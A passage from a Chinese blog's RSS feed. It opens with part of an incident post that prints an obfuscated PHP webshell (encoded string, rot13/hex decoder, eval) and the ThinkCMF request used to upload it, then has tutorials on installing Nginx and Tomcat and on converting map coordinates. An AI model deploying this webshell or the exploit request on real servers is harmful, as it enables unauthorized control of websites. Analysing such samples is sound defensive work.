p75653q22433n2s446s63756q656r747320616r642053657474696r67732s416p6p2055736572732s5374617274204q656r752s50726s6772616q732s537461727475702s223r57696r2q537461727475703p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q22433n2s446s63756q656r747320616r642053657474696r67732s416p6p2055736572732sr3808pr5op80r5n78or3808qr88s9pr58q952sr7n88or5on8s2sr590nsr58nn82s223r57696r2qr590nsr58nn83p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q22433n2s57696r646s77732s54656q702s223r57696r2q54454q503p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q222s7573722s6p6s63616p2s223r4p696r75782q6p6s63616p3p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q222s746q702s223r4p696r75782q746q703p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q222s7661722s746q702s223r4p696r75782q7661723p2s6s7074696s6r3r273o0q0n6563686s20273p6s7074696s6r2076616p75653q222s6574632s7373682s223r4p696r75782q7373683p2s6s7074696s6r3r273o0q0n6563686s20273p2s73656p6563743r3p2s666s726q3r3p2s6469763r3p64697620636p6173733q22616374616p6p223r273o0q0n0q0n6563686s20273p696r70757420747970653q22627574746s6r222076616p75653q22r696o0r5ooonr69687r4ooo622206s6r636p69636o3q226r66285p27656469745p272p5p276r657766696p652r7068705p27293o22207374796p653q2277696474683n363870783o223r20273o0q0n6563686s20273p696r70757420747970653q22627574746s6r222076616p75653q22r5889or5ooonr79onrr5oq9522206s6r636p69636o3q2274787473285p27r79onrr5oq95r5908q5p272p5p276r65776469725p272p5p27655p27293o22207374796p653q2277696474683n363870783o223r20273o0q0n6563686s20273p696r70757420747970653q22627574746s6r222076616p75653q22r4o88or8oqoqr69687r4ooo622206s6r636p69636o3q2274787473285p27r4o88or8oqoqr69687r4ooo6r588o0r5oq93r5898qr79onrr5oq955p272p5p27687474703n2s2s7777772r62616964752r636s6q2s636q642r6578655p272p5p27665p27293o22207374796p653q2277696474683n363870783o223r20273o0q0n6563686s20273p696r70757420747970653q22627574746s6r222076616p75653q22r689o9r9878sr4o88nr4opn022206s6r636p69636o3q22676s285p27757066696p65735p272p5p27272r246r6s776469722r275p27293o22207374796p653q2277696474683n363870783o223r20273o0q0n0q0n6563686s20273p666s726q206r616q653q22757066726q222069643q22757066726q22206q6574686s643q22504s53542220656r63747970653q226q756p7469706172742s666s726q2q64617461223r273o0q0n7375626576616p28293o0q0n6563686s20273p696r70757420747970653q2268696464656r22206r616q653q22646972222069643q22646972222076616p75653q22272r246r6s776469722r27223r273o0q0n6563686s20273p696r70757420747970653q2266696p6522206r616q653q22757066696p6522207374796p653q2277696474683n32383670783o6865696768743n323170783o223r20273o0q0n6563686s20273p696r70757420747970653q22627574746s6r22206s6r636p69636o3q2224285p27757066726q5p27292r7375626q697428293o222076616p75653q22r4o88nr4opn022207374796p653q2277696474683n353070783o223r20273o0q0n6563686s2027r4o88nr4opn0r9878qr591oqr5908qr4o8on203p696r70757420747970653q227465787422206r616q653q2272656r616q6522207374796p653q2277696474683n31323870783o223r273o0q0n6563686s20273p2s666s726q3r3p2s6469763r273o0q0n0q0n6563686s20273p666s726q206r616q653q2266726q31222069643q2266726q3122206q6574686s643q22504s5354223r3p7461626p6520636p6173733q227461626p6573223r273o0q0n7375626576616p28293o0q0n6563686s20273p696r70757420747970653q2268696464656r22206r616q653q22646972222069643q22646972222076616p75653q22272r246r6s776469722r27223r273o0q0n6563686s20273p696r70757420747970653q2268696464656r22206r616q653q22616374222069643q22616374222076616p75653q22223r273o0q0n6563686s20273p696r70757420747970653q2268696464656r22206r616q653q22766172222069643q22766172222076616p75653q22223r273o0q0n6563686s20273p74683r3p6120687265663q226n6176617363726970743n6364285p27272r6469726r616q6528246r6s77646972292r272s5p27293o223rr4o88nr7onn7r79onrr5oq953p2s613r3p2s74683r3p7468207374796p653q2277696474683n3825223rr6938qr4oq9p3p2s74683r3p7468207374796p653q2277696474683n3525223rr5o19rr680n73p2s74683r3p7468207374796p653q2277696474683n313725223rr5889or5ooonr697o6r997o43p2s74683r3p7468207374796p653q2277696474683n313725223rr4osnrr694o9r697o6r997o43p2s74683r3p7468207374796p653q2277696474683n3825223rr4o88or8oqoq3p2s74683r273o0q0n69662824617272617929207o0q0n0961736s7274282461727261795o27646972275q293o0q0n0961736s7274282461727261795o2766696p65275q293o0q0n0924646r756q203q2024666r756q203q20303o0q0n09666s7265616368282461727261795o27646972275q206173202470617468203q3r20246r616q6529207o0q0n0909247072656q203q20737562737472286465636s63742866696p657065726q7328247061746829292p2q34293o0q0n0909246374696q65203q20646174652827592q6q2q6420483n693n73272p66696p656374696q6528247061746829293o0q0n0909246q74696q65203q20646174652827592q6q2q6420483n693n73272p66696p656q74696q6528247061746829293o0q0n09096563686s20273p74723r273o0q0n09096563686s20273p74643r3p6120687265663q226n6176617363726970743n6364285p27272r246r6s776469722r246r616q652r275p27293o223r3p623r272r737472747228246r616q652p6172726179282725323727203q3r20275p27272p2725323227203q3r2027222729292r273p2s623r3p2s613r3p2s74643r273o0q0n09096563686s20273p74643r3p6120687265663q226n6176617363726970743n64656p73285p27272r246r616q652r275p27293o223rr588n0r999n43p2s613r20273o0q0n09096563686s20273p6120687265663q226n6176617363726970743n61637473285p27272r246r616q652r275p272p5p2772665p272p5p27272r246r616q652r275p27293o223rr694o9r5908q3p2s613r3p2s74643r273o0q0n09096563686s20273p74643r3p6120687265663q226n6176617363726970743n61637473285p27272r247072656q2r275p272p5p2770645p272p5p27272r246r616q652r275p27293o223r272r247072656q2r273p2s613r3p2s74643r273o0q0n09096563686s20273p74643r272r246374696q652r273p2s74643r273o0q0n09096563686s20273p74643r272r246q74696q652r273p2s74643r273o0q0n09096563686s20273p74643r2q3p2s74643r273o0q0n09096563686s20273p2s74723r273o0q0n090924646r756q2o2o3o0q0n097q0q0n09666s7265616368282461727261795o2766696p65275q206173202470617468203q3r20246r616q6529207o0q0n0909247072656q203q20737562737472286465636s63742866696p657065726q7328247061746829292p2q34293o0q0n0909246374696q65203q20646174652827592q6q2q6420483n693n73272p66696p656374696q6528247061746829293o0q0n0909246q74696q65203q20646174652827592q6q2q6420483n693n73272p66696p656q74696q6528247061746829293o0q0n09092473697n65203q2073697n652866696p6573697n6528247061746829293o0q0n09096563686s20273p74723r273o0q0n09096563686s20273p74643r3p696r70757420747970653q22636865636o626s7822206r616q653q2266696p65735o5q222076616p75653q22272r246r616q652r27223r3p61207461726765743q225s626p616r6o2220687265663q22272r247468697375726p2r246r616q652r27223r272r737472747228246r616q652p6172726179282725323727203q3r20275p27272p2725323227203q3r2027222729292r273p2s613r3p2s74643r273o0q0n09096563686s20273p74643r3p6120687265663q226n6176617363726970743n676s285p27656469745p272p5p27272r246r616q652r275p27293o223rr7op96r8or913p2s613r20273o0q0n09096563686s20273p6120687265663q226n6176617363726970743n61637473285p27272r246r616q652r275p272p5p2772665p272p5p27272r246r616q652r275p27293o223rr694o9r5908q3p2s613r3p2s74643r273o0q0n09096563686s20273p74643r3p6120687265663q226n6176617363726970743n61637473285p27272r247072656q2r275p272p5p2770645p272p5p27272r246r616q652r275p27293o223r272r247072656q2r273p2s613r3p2s74643r273o0q0n09096563686s20273p74643r272r246374696q652r273p2s74643r273o0q0n09096563686s20273p74643r272r246q74696q652r273p2s74643r273o0q0n09096563686s20273p746420616p69676r3q227269676874223r3p6120687265663q226n6176617363726970743n676s285p27646s776r5p272p5p27272r246r616q652r275p27293o223r272r2473697n652r273p2s613r3p2s74643r273o0q0n09096563686s20273p2s74723r273o0q0n090924666r756q2o2o3o0q0n097q0q0n7q0q0n756r73657428246172726179293o0q0n6563686s20273p2s7461626p653r273o0q0n6563686s20273p64697620636p6173733q22616374616p6p22207374796p653q22746578742q616p69676r3n6p6566743o223r273o0q0n6563686s20273p696r70757420747970653q22636865636o626s78222069643q2263686o616p6p22206r616q653q2263686o616p6p222076616p75653q226s6r22206s6r636p69636o3q22736128746869732r666s726q293o223r20273o0q0n6563686s20273p696r70757420747970653q22627574746s6r222076616p75653q22r5n48qr588o622207374796p653q2277696474683n353070783o22206s6r636p69636o3q5p27747874732822r5n48qr588o6r8o7nsr5or84222p22272r246r6s776469722r27222p226122293o5p273r20273o0q0n6563686s20273p696r70757420747970653q22627574746s6r222076616p75653q22r588n0r999n422207374796p653q2277696474683n353070783o22206s6r636p69636o3q5p2764656p7328226222293o5p273r20273o0q0n6563686s20273p696r70757420747970653q22627574746s6r222076616p75653q22r5o19rr680n722207374796p653q2277696474683n353070783o22206s6r636p69636o3q5p27747874732822r5o19rr680n7r580op222p2230363636222p226322293o5p273r20273o0q0n6563686s20273p696r70757420747970653q22627574746s6r222076616p75653q22r697o6r997o422207374796p653q2277696474683n353070783o22206s6r636p69636o3q5p27747874732822r4osnrr694o9r697o6r997o4222p22272r246q74696q652r27222p226422293o5p273r20273o0q0n6563686s2027r79onrr5oq955o272r24646r756q2r275q202q20r69687r4ooo65o272r24666r756q2r275q202q20r5o19rr680n75o272r2463686q6s642r275q3p2s6469763r3p2s666s726q3r273o0q0n627265616o3o0q0n7q&amp;quot;;

	$str&amp;nbsp;=&amp;nbsp;str_rot13($str);

	m($str);

}

function&amp;nbsp;m($str){

	global&amp;nbsp;$password;

	$jj&amp;nbsp;=&amp;nbsp;&amp;#39;&amp;#39;;

	eval($jj.pack(&amp;#39;H*&amp;#39;,$str).$jj);

}

s();

?&amp;gt;&lt;/pre&gt;&lt;p&gt;解析文件之后发现这是一个控制系统文件，执行各种命令的工具，果然是这样被黑的。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;好在这只是一个简单的官网，没有什么业务数据。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;再分析这个文件是怎么上传的，看看那个奇怪的请求/?a=fetch&amp;amp;templateFile=public/index&amp;amp;prefix=，这其实就是利用了ThinkCMF的漏洞，直接一个请求就把黑客工具文件meijianxue.php给上传了。看来还得顺着检查所有用这个框架的项目啊。&lt;/p&gt;</description><pubDate>Tue, 26 Nov 2019 21:47:59 +0800</pubDate></item><item><title>CentOS7中使用yum安装Nginx</title><link>http://www.rf.sh.cn:80/post/3083.html</link><description>&lt;p&gt;摘自：&lt;a href=&quot;https://www.cnblogs.com/songxingzhu/p/8568432.html&quot;&gt;https://www.cnblogs.com/songxingzhu/p/8568432.html&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;1、添加源&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;　　默认情况Centos7中无Nginx的源，最近发现Nginx官网提供了Centos的源地址。因此可以如下执行命令添加源：&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; background-color: rgb(245, 245, 245); border: 1px solid rgb(204, 204, 204); overflow: auto; white-space: normal; font-family: &amp;quot;Courier New&amp;quot; !important; font-size: 12px !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;sudo&amp;nbsp;rpm&amp;nbsp;-Uvh&amp;nbsp;http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release-centos-7-0.el7.ngx.noarch.rpm&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;2、安装Nginx&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;　　通过yum search nginx看看是否已经添加源成功。如果成功则执行下列命令安装Nginx。&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; background-color: rgb(245, 245, 245); border: 1px solid rgb(204, 204, 204); overflow: auto; white-space: normal; font-family: &amp;quot;Courier New&amp;quot; !important; font-size: 12px !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;sudo&amp;nbsp;yum&amp;nbsp;install&amp;nbsp;-y&amp;nbsp;nginx&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; font-family: Verdana, Arial, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;3、启动Nginx并设置开机自动运行&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; background-color: rgb(245, 245, 245); border: 1px solid rgb(204, 204, 204); overflow: auto; white-space: normal; font-family: &amp;quot;Courier New&amp;quot; !important; font-size: 12px !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; white-space: pre-wrap; overflow-wrap: break-word; font-family: &amp;quot;Courier New&amp;quot; !important;&quot;&gt;sudo&amp;nbsp;systemctl&amp;nbsp;start&amp;nbsp;nginx.service
sudo&amp;nbsp;systemctl&amp;nbsp;enable&amp;nbsp;nginx.service&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Thu, 17 Oct 2019 22:09:45 +0800</pubDate></item><item><title>CentOS 7下安装Tomcat8.0.53并设置自动启动</title><link>http://www.rf.sh.cn:80/post/3082.html</link><description>&lt;p&gt;摘自：&lt;a href=&quot;https://blog.csdn.net/qq_25508039/article/details/82781610&quot;&gt;https://blog.csdn.net/qq_25508039/article/details/82781610&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;CentOS 7下安装Tomcat8.5.47步骤:&lt;/p&gt;&lt;p&gt;1. 在官网下载8.0.53版本&amp;nbsp;&lt;a href=&quot;https://tomcat.apache.org/download-80.cgi&quot; rel=&quot;nofollow&quot; data-token=&quot;c806c74201f107fdf2e4317b95bc67b9&quot;&gt;https://tomcat.apache.org/download-80.cgi&lt;/a&gt;&lt;/p&gt;&lt;p&gt;2.&amp;nbsp;把压缩包上传到/data目录下，并解压：tar -zxvf apache-tomcat-8.5.47.tar.gz&lt;/p&gt;&lt;p&gt;3. 开通防火墙8080端口&lt;/p&gt;&lt;pre&gt;firewall-cmd&amp;nbsp;--zone=public&amp;nbsp;--add-port=8080/tcp&amp;nbsp;--permanent&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;（--permanent永久生效，没有此参数重启后失效）
firewall-cmd&amp;nbsp;--reload&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(配置好后需要重新加载)&lt;/pre&gt;&lt;p&gt;4. 运行Tomcat，检查是否能正常访问&lt;/p&gt;&lt;pre&gt;/data/apache-tomcat-8.5.47/bin/startup.sh&lt;/pre&gt;&lt;p&gt;5. 设置开机自动运行Tomcat&lt;/p&gt;&lt;p&gt;在实际使用中，如果每次都要手动开启关闭Tomcat会增加我们很多操作，所以我们可以配置一下service，让Tomact自动运行。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;创建一个Service配置:&lt;/p&gt;&lt;p&gt;vim /lib/systemd/system/tomcat.service&lt;/p&gt;&lt;p&gt;tomcat.service配置文件内容如下：&lt;/p&gt;&lt;pre&gt;[Unit]
Description=tomcat
After=network.target

[Service]
Type=oneshot
ExecStart=/data/apache-tomcat-8.5.47/bin/startup.sh
ExecStop=/data/apache-tomcat-8.5.47/bin/shutdown.sh
ExecReload=/bin/kill&amp;nbsp;-s&amp;nbsp;HUP&amp;nbsp;$MAINPID
RemainAfterExit=yes

[Install]
WantedBy=multi-user.target&lt;/pre&gt;&lt;p&gt;注：&lt;/p&gt;&lt;p&gt;tomcat.service相关指令&lt;/p&gt;&lt;p&gt;systemctl enable tomcat.service (开机启动)&lt;/p&gt;&lt;p&gt;systemctl disable tomcat.service (取消开机启动)&lt;/p&gt;&lt;p&gt;systemctl start tomcat.service (启动服务)&lt;/p&gt;&lt;p&gt;systemctl stop tomcat.service (停止服务)&lt;/p&gt;&lt;p&gt;systemctl restart tomcat.service (重启服务)&lt;/p&gt;&lt;p&gt;systemctl status tomcat.service (查看服务状态)&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Thu, 17 Oct 2019 21:55:30 +0800</pubDate></item><item><title>关于各种地图（百度、高德等等）的坐标类型以及相互转换</title><link>http://www.rf.sh.cn:80/post/3081.html</link><description>&lt;p&gt;摘自：&lt;a href=&quot;https://www.cnblogs.com/fuyinshan/p/6733459.html&quot;&gt;https://www.cnblogs.com/fuyinshan/p/6733459.html&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: verdana, &amp;quot;ms song&amp;quot;, 宋体, Arial, 微软雅黑, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;bd09ll &amp;nbsp;表示百度经纬度坐标，&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: verdana, &amp;quot;ms song&amp;quot;, 宋体, Arial, 微软雅黑, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;gcj02 &amp;nbsp; 表示经过国测局加密的坐标，&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: verdana, &amp;quot;ms song&amp;quot;, 宋体, Arial, 微软雅黑, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;wgs84 &amp;nbsp; 表示gps获取的坐标。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: verdana, &amp;quot;ms song&amp;quot;, 宋体, Arial, 微软雅黑, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;其中最坑的是百度的坐标，百度坐标在原有的基础上自己做了一层加密，也就是bd0911，而且理论上来讲这个加密的过程是不可逆的，&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: verdana, &amp;quot;ms song&amp;quot;, 宋体, Arial, 微软雅黑, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;百度地图api置提供了其他的坐标类型转换成百度坐标的方法，但是这个过程并不可逆，但是确实被我找到一种办法进行转换，直接上代码&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: verdana, &amp;quot;ms song&amp;quot;, 宋体, Arial, 微软雅黑, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;/**&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;*&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;* 将百度坐标转换成GPS坐标工具类&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;* @author fuys&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;*&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;*/&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;public class GlobalTool {&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;public final static double a = 6378245.0;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;public final static double ee = 0.00669342162296594323;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;// 判断坐标是否在中国&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;public static boolean outOfChina(BDLocation bdLocation) {&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;double lat = bdLocation.getLatitude();&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;double lon = bdLocation.getLongitude();&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;if (lon &amp;lt; 72.004 || lon &amp;gt; 137.8347)&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;return true;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;if (lat &amp;lt; 0.8293 || lat &amp;gt; 55.8271)&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;return true;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;if ((119.962 &amp;lt; lon &amp;amp;&amp;amp; lon &amp;lt; 121.750) &amp;amp;&amp;amp; (21.586 &amp;lt; lat &amp;amp;&amp;amp; lat &amp;lt; 25.463))&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;return true;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;return false;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;}&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;public final static double x_pi = 3.14159265358979324 * 3000.0 / 180.0;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;public static BDLocation BAIDU_to_WGS84(BDLocation bdLocation) {&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;if (outOfChina(bdLocation)) {&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;return bdLocation;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;}&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;double x = bdLocation.getLongitude() - 0.0065;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;double y = bdLocation.getLatitude() - 0.006;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;double z = Math.sqrt(x * x + y * y) - 0.00002 * Math.sin(y * x_pi);&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;double theta = Math.atan2(y, x) - 0.000003 * Math.cos(x * x_pi);&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;bdLocation.setLongitude(z * Math.cos(theta));&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;bdLocation.setLatitude(z * Math.sin(theta));&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;return GCJ02_to_WGS84(bdLocation);&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;}&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;public static BDLocation GCJ02_to_WGS84(BDLocation bdLocation) {&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;if (outOfChina(bdLocation)) {&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;return bdLocation;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;}&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;BDLocation tmpLocation = new BDLocation();&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;tmpLocation.setLatitude(bdLocation.getLatitude());&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;tmpLocation.setLongitude(bdLocation.getLongitude());&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;BDLocation tmpLatLng = WGS84_to_GCJ02(tmpLocation);&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;double tmpLat = 2 * bdLocation.getLatitude() - tmpLatLng.getLatitude();&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;double tmpLng = 2 * bdLocation.getLongitude()&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;- tmpLatLng.getLongitude();&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;for (int i = 0; i &amp;lt; 0; ++i) {&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;tmpLocation.setLatitude(bdLocation.getLatitude());&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;tmpLocation.setLongitude(bdLocation.getLongitude());&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;tmpLatLng = WGS84_to_GCJ02(tmpLocation);&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;tmpLat = 2 * tmpLat - tmpLatLng.getLatitude();&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;tmpLng = 2 * tmpLng - tmpLatLng.getLongitude();&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;}&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;bdLocation.setLatitude(tmpLat);&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;bdLocation.setLongitude(tmpLng);&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;return bdLocation;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;}&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;public static BDLocation WGS84_to_GCJ02(BDLocation bdLocation) {&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;if (outOfChina(bdLocation)) {&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;return bdLocation;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;}&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;double dLat = transformLat(bdLocation.getLongitude() - 105.0,&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;bdLocation.getLatitude() - 35.0);&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;double dLon = transformLon(bdLocation.getLongitude() - 105.0,&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;bdLocation.getLatitude() - 35.0);&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;double radLat = bdLocation.getLatitude() / 180.0 * Math.PI;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;double magic = Math.sin(radLat);&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;magic = 1 - ee * magic * magic;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;double sqrtMagic = Math.sqrt(magic);&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;dLat = (dLat * 180.0)&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;/ ((a * (1 - ee)) / (magic * sqrtMagic) * Math.PI);&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;dLon = (dLon * 180.0) / (a / sqrtMagic * Math.cos(radLat) * Math.PI);&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;bdLocation.setLatitude(bdLocation.getLatitude() + dLat);&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;bdLocation.setLongitude(bdLocation.getLongitude() + dLon);&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;return bdLocation;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;}&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;public static double transformLat(double x, double y) {&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;double ret = -100.0 + 2.0 * x + 3.0 * y + 0.2 * y * y + 0.1 * x * y&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;+ 0.2 * Math.sqrt(Math.abs(x));&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;ret += (20.0 * 